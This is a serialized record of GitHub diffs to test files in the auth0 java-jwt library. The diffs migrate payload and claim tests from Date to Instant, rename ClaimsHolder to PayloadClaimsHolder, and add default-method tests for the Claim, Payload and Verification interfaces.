         tree.put("key", node);u}(jG  (da0c880e1b30a309c7030fa433cf18b00a5c233dj  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedj  K)j  K'j  KPj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X$  @@ -6,13 +6,13 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.TextNode;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
-import org.mockito.Mockito;
 
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
@@ -25,151 +25,153 @@ public class PayloadImplTest {
     public ExpectedException exception = ExpectedException.none();
 
     private PayloadImpl payload;
-    private Date expiresAt;
-    private Date notBefore;
-    private Date issuedAt;
+    private final Instant expiresAt = Instant.now().plusSeconds(10);
+    private final Instant notBefore = Instant.now();
+    private final Instant issuedAt = Instant.now();
 
-    private ObjectMapper mapper;
     private ObjectReader objectReader;
 
     @Before
-    public void setUp() throws Exception {
-        mapper = getDefaultObjectMapper();
+    public void setUp() {
+        ObjectMapper mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
-        expiresAt = Mockito.mock(Date.class);
-        notBefore = Mockito.mock(Date.class);
-        issuedAt = Mockito.mock(Date.class);
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectReader);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTree() throws Exception {
+    public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableAudience() throws Exception {
+    public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("issuer"));
     }
 
     @Test
-    public void shouldGetNullIssuerIfMissing() throws Exception {
+    public void shouldGetNullIssuerIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is("subject"));
     }
 
     @Test
-    public void shouldGetNullSubjectIfMissing() throws Exception {
+    public void shouldGetNullSubjectIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAudience() throws Exception {
+    public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItems("audience")));
     }
 
     @Test
-    public void shouldGetNullAudienceIfMissing() throws Exception {
+    public void shouldGetNullAudienceIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getAudience(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExpiresAt() throws Exception {
+    public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getExpiresAt(), is(expiresAt));
+        assertThat(payload.getExpiresAt(), is(Date.from(expiresAt)));
+        assertThat(payload.getExpiresAtAsInstant(), is(expiresAt));
     }
 
     @Test
-    public void shouldGetNullExpiresAtIfMissing() throws Exception {
+    public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getNotBefore(), is(notBefore));
+        assertThat(payload.getNotBefore(), is(Date.from(notBefore)));
+        assertThat(payload.getNotBeforeAsInstant(), is(notBefore));
     }
 
     @Test
-    public void shouldGetNullNotBeforeIfMissing() throws Exception {
+    public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getIssuedAt(), is(issuedAt));
+        assertThat(payload.getIssuedAt(), is(Date.from(issuedAt)));
+        assertThat(payload.getIssuedAtAsInstant(), is(issuedAt));
     }
 
     @Test
-    public void shouldGetNullIssuedAtIfMissing() throws Exception {
+    public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetJWTId() throws Exception {
+    public void shouldGetJWTId() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is("jwtId"));
     }
 
     @Test
-    public void shouldGetNullJWTIdIfMissing() throws Exception {
+    public void shouldGetNullJWTIdIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("extraClaim"), is(instanceOf(JsonNodeClaim.class)));
         assertThat(payload.getClaim("extraClaim").asString(), is("extraValue"));
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(notNullValue()));
-        assertThat(payload.getClaim("missing"), is(instanceOf(NullClaim.class)));
+        assertThat(payload.getClaim("missing").isMissing(), is(true));
+        assertThat(payload.getClaim("missing").isNull(), is(false));
     }
 
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         tree.put("sub", new TextNode("auth0"));
@@ -183,7 +185,7 @@ public void shouldGetClaims() throws Exception {
     }
 
     @Test
-    public void shouldNotAllowToModifyClaimsMap() throws Exception {
+    public void shouldNotAllowToModifyClaimsMap() {
         assertThat(payload, is(notNullValue()));
         Map<String, Claim> claims = payload.getClaims();
         assertThat(claims, is(notNullValue()));u      }(jG  (45761de0de14de2d9ceffddc396daf599d2c544ej  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj  modifiedj  K.j  Kj  KMj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X2  @@ -11,8 +11,8 @@
 import java.io.StringWriter;
 import java.util.*;
 
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
 
 public class PayloadSerializerTest {
 
@@ -31,10 +31,9 @@ public void setUp() throws Exception {
         serializerProvider = mapper.getSerializerProvider();
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldSerializeEmptyMap() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(new HashMap<String, Object>());
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(new HashMap<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -43,7 +42,7 @@ public void shouldSerializeEmptyMap() throws Exception {
 
     @Test
     public void shouldSerializeStringAudienceAsString() throws Exception {
-        ClaimsHolder holder = holderFor("aud", "auth0");
+        PayloadClaimsHolder holder = holderFor("aud", "auth0");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -52,7 +51,7 @@ public void shouldSerializeStringAudienceAsString() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -61,7 +60,7 @@ public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -70,7 +69,7 @@ public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSkipSerializationOnEmptyAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[0]);
+        PayloadClaimsHolder holder = holderFor("aud", new String[0]);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -79,7 +78,7 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -88,7 +87,7 @@ public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -97,7 +96,7 @@ public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Except
 
     @Test
     public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        PayloadClaimsHolder holder = holderFor("aud", new ArrayList<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -106,7 +105,7 @@ public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -115,7 +114,7 @@ public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -124,7 +123,7 @@ public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", 4);
+        PayloadClaimsHolder holder = holderFor("aud", 4);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -133,7 +132,7 @@ public void shouldSkipNonStringsOnAudience() throws Exception {
 
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("nbf", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("nbf", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -142,7 +141,7 @@ public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("iat", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("iat", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -151,7 +150,7 @@ public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("exp", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("exp", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -160,7 +159,7 @@ public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeCustomDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -171,25 +170,42 @@ public void shouldSerializeCustomDateInSeconds() throws Exception {
     public void shouldSerializeDatesUsingLong() throws Exception {
         long secs = Integer.MAX_VALUE + 10000L;
         Date date = new Date(secs * 1000L);
-        Map<String, Object> claims = new HashMap<String, Object>();
+        Map<String, Object> claims = new HashMap<>();
         claims.put("iat", date);
         claims.put("nbf", date);
         claims.put("exp", date);
         claims.put("ctm", date);
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        claims.put("map", Collections.singletonMap("date", date));
+        claims.put("list", Collections.singletonList(date));
+
+        Map<String, Object> nestedInMap = new HashMap<>();
+        nestedInMap.put("list", Collections.singletonList(date));
+        claims.put("nestedInMap", nestedInMap);
+
+        List<Object> nestedInList = new ArrayList<>();
+        nestedInList.add(Collections.singletonMap("nested", date));
+        claims.put("nestedInList", nestedInList);
+
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         String json = writer.toString();
+        System.out.println(json);
+
         assertThat(json, containsString("\"iat\":2147493647"));
         assertThat(json, containsString("\"nbf\":2147493647"));
         assertThat(json, containsString("\"exp\":2147493647"));
         assertThat(json, containsString("\"ctm\":2147493647"));
+        assertThat(json, containsString("\"map\":{\"date\":2147493647"));
+        assertThat(json, containsString("\"list\":[2147493647]"));
+        assertThat(json, containsString("\"nestedInMap\":{\"list\":[2147493647]}"));
+        assertThat(json, containsString("\"nestedInList\":[{\"nested\":2147493647}]"));
     }
 
     @Test
     public void shouldSerializeStrings() throws Exception {
-        ClaimsHolder holder = holderFor("name", "Auth0 Inc");
+        PayloadClaimsHolder holder = holderFor("name", "Auth0 Inc");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -198,7 +214,7 @@ public void shouldSerializeStrings() throws Exception {
 
     @Test
     public void shouldSerializeIntegers() throws Exception {
-        ClaimsHolder holder = holderFor("number", 12345);
+        PayloadClaimsHolder holder = holderFor("number", 12345);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -207,7 +223,7 @@ public void shouldSerializeIntegers() throws Exception {
 
     @Test
     public void shouldSerializeDoubles() throws Exception {
-        ClaimsHolder holder = holderFor("fraction", 23.45);
+        PayloadClaimsHolder holder = holderFor("fraction", 23.45);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -216,7 +232,7 @@ public void shouldSerializeDoubles() throws Exception {
 
     @Test
     public void shouldSerializeBooleans() throws Exception {
-        ClaimsHolder holder = holderFor("pro", true);
+        PayloadClaimsHolder holder = holderFor("pro", true);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -225,7 +241,7 @@ public void shouldSerializeBooleans() throws Exception {
 
     @Test
     public void shouldSerializeNulls() throws Exception {
-        ClaimsHolder holder = holderFor("id", null);
+        PayloadClaimsHolder holder = holderFor("id", null);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -236,7 +252,7 @@ public void shouldSerializeNulls() throws Exception {
     public void shouldSerializeCustomArrayOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
+        PayloadClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -247,7 +263,7 @@ public void shouldSerializeCustomArrayOfObject() throws Exception {
     public void shouldSerializeCustomListOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
+        PayloadClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -257,18 +273,17 @@ public void shouldSerializeCustomListOfObject() throws Exception {
     @Test
     public void shouldSerializeCustomObject() throws Exception {
         UserPojo user = new UserPojo("Michael", 1);
-        ClaimsHolder holder = holderFor("users", user);
+        PayloadClaimsHolder holder = holderFor("users", user);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         assertThat(writer.toString(), is(equalTo("{\"users\":{\"name\":\"Michael\",\"id\":1}}")));
     }
 
-    @SuppressWarnings("Convert2Diamond")
-    private ClaimsHolder holderFor(String key, Object value) {
-        Map<String, Object> map = new HashMap<String, Object>();
+    private PayloadClaimsHolder holderFor(String key, Object value) {
+        Map<String, Object> map = new HashMap<>();
         map.put(key, value);
-        return new ClaimsHolder(map);
+        return new PayloadClaimsHolder(map);
     }
 
 }
\ No newline at end of fileu}(jG  (61541ccffaf6106a60091d33eee6db0a927a780cj  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj  addedj  Kbj  K j  Kbj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,98 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class ClaimTest {
+
+    @Test
+    public void shouldGetInstantUsingDefault() {
+        Date date = new Date(1646667492000L);
+        Claim claim = new ClaimImplForTest(date);
+        assertThat(claim.asInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetNullInstantUsingDefault() {
+        Claim claim = new ClaimImplForTest(null);
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
+    /**
+     * Implementation that does not override {@code asInstant()}
+     */
+    static class ClaimImplForTest implements Claim {
+        private final Date date;
+
+        ClaimImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public boolean isNull() {
+            return false;
+        }
+
+        @Override
+        public boolean isMissing() {
+            return false;
+        }
+
+        @Override
+        public Boolean asBoolean() {
+            return null;
+        }
+
+        @Override
+        public Integer asInt() {
+            return null;
+        }
+
+        @Override
+        public Long asLong() {
+            return null;
+        }
+
+        @Override
+        public Double asDouble() {
+            return null;
+        }
+
+        @Override
+        public String asString() {
+            return null;
+        }
+
+        @Override
+        public Date asDate() {
+            return date;
+        }
+
+        @Override
+        public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public Map<String, Object> asMap() throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+    }
+}u}(jG  (c5d2bd00ac72fefcc5cf1a101f3ebf561fc112c9j  ;lib/src/test/java/com/auth0/jwt/interfaces/PayloadTest.javaj  addedj  KSj  K j  KSj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X*  @@ -0,0 +1,83 @@
+package com.auth0.jwt.interfaces;
+
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class PayloadTest {
+
+    @Test
+    public void shouldGetInstantFromDefault() {
+        Date date = new Date(1646667492000L);
+        Payload payload = new PayloadImplForTest(date);
+        assertThat(payload.getExpiresAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getIssuedAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getNotBeforeAsInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetInstantFromDefaultAsNu() {
+        Payload payload = new PayloadImplForTest(null);
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
+    }
+
+    static class PayloadImplForTest implements Payload {
+        private final Date date;
+
+        PayloadImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public String getIssuer() {
+            return null;
+        }
+
+        @Override
+        public String getSubject() {
+            return null;
+        }
+
+        @Override
+        public List<String> getAudience() {
+            return null;
+        }
+
+        @Override
+        public Date getExpiresAt() {
+            return date;
+        }
+
+        @Override
+        public Date getNotBefore() {
+            return date;
+        }
+
+        @Override
+        public Date getIssuedAt() {
+            return date;
+        }
+
+        @Override
+        public String getId() {
+            return null;
+        }
+
+        @Override
+        public Claim getClaim(String name) {
+            return null;
+        }
+
+        @Override
+        public Map<String, Claim> getClaims() {
+            return null;
+        }
+    }
+}u}(jG  (11acb029ef03c5524013049b19eb0214d364c2a7j  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,171 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.JWTVerifier;
+import org.junit.Test;
+
+import java.time.Instant;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.function.BiPredicate;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.hasEntry;
+import static org.hamcrest.Matchers.instanceOf;
+import static org.junit.Assert.assertThrows;
+
+/**
+ * Tests for any default method implementations in the {@link Verification} interface.
+ */
+public class VerificationTest {
+
+    @Test
+    public void withInstantClaimShouldUseDefaultImpl() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        Verification verification = new VerificationImplForTest()
+                .withClaim("name", instant);
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", Date.from(instant)));
+    }
+
+    @Test
+    public void withInstantClaimShouldUseDefaultImplAndHandleNull() {
+        Verification verification = new VerificationImplForTest()
+                .withClaim("name", (Instant) null);
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", null));
+    }
+
+    @Test
+    public void withIssuerStringDefaultImplShouldDelegate() {
+        Verification verification = new VerificationImplForTest()
+                .withIssuer("string");
+
+        assertThat(verification, instanceOf(VerificationImplForTest.class));
+        assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("iss", new String[]{"string"}));
+    }
+
+    static class VerificationImplForTest implements Verification {
+
+        private final Map<String, Object> expectedClaims = new HashMap<>();
+
+        @Override
+        public Verification withIssuer(String... issuer) {
+            expectedClaims.put("iss", issuer);
+            return this;
+        }
+
+        @Override
+        public Verification withSubject(String subject) {
+            return null;
+        }
+
+        @Override
+        public Verification withAudience(String... audience) {
+            return null;
+        }
+
+        @Override
+        public Verification withAnyOfAudience(String... audience) {
+            return null;
+        }
+
+        @Override
+        public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withJWTId(String jwtId) {
+            return null;
+        }
+
+        @Override
+        public Verification withClaimPresence(String name) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withNullClaim(String name) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Long value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Double value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, String value) throws IllegalArgumentException {
+            return null;
+        }
+
+        @Override
+        public Verification withClaim(String name, Date value) throws IllegalArgumentException {
+            this.expectedClaims.put(name, value);
+            return this;
+        }
+
+        @Override
+        public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
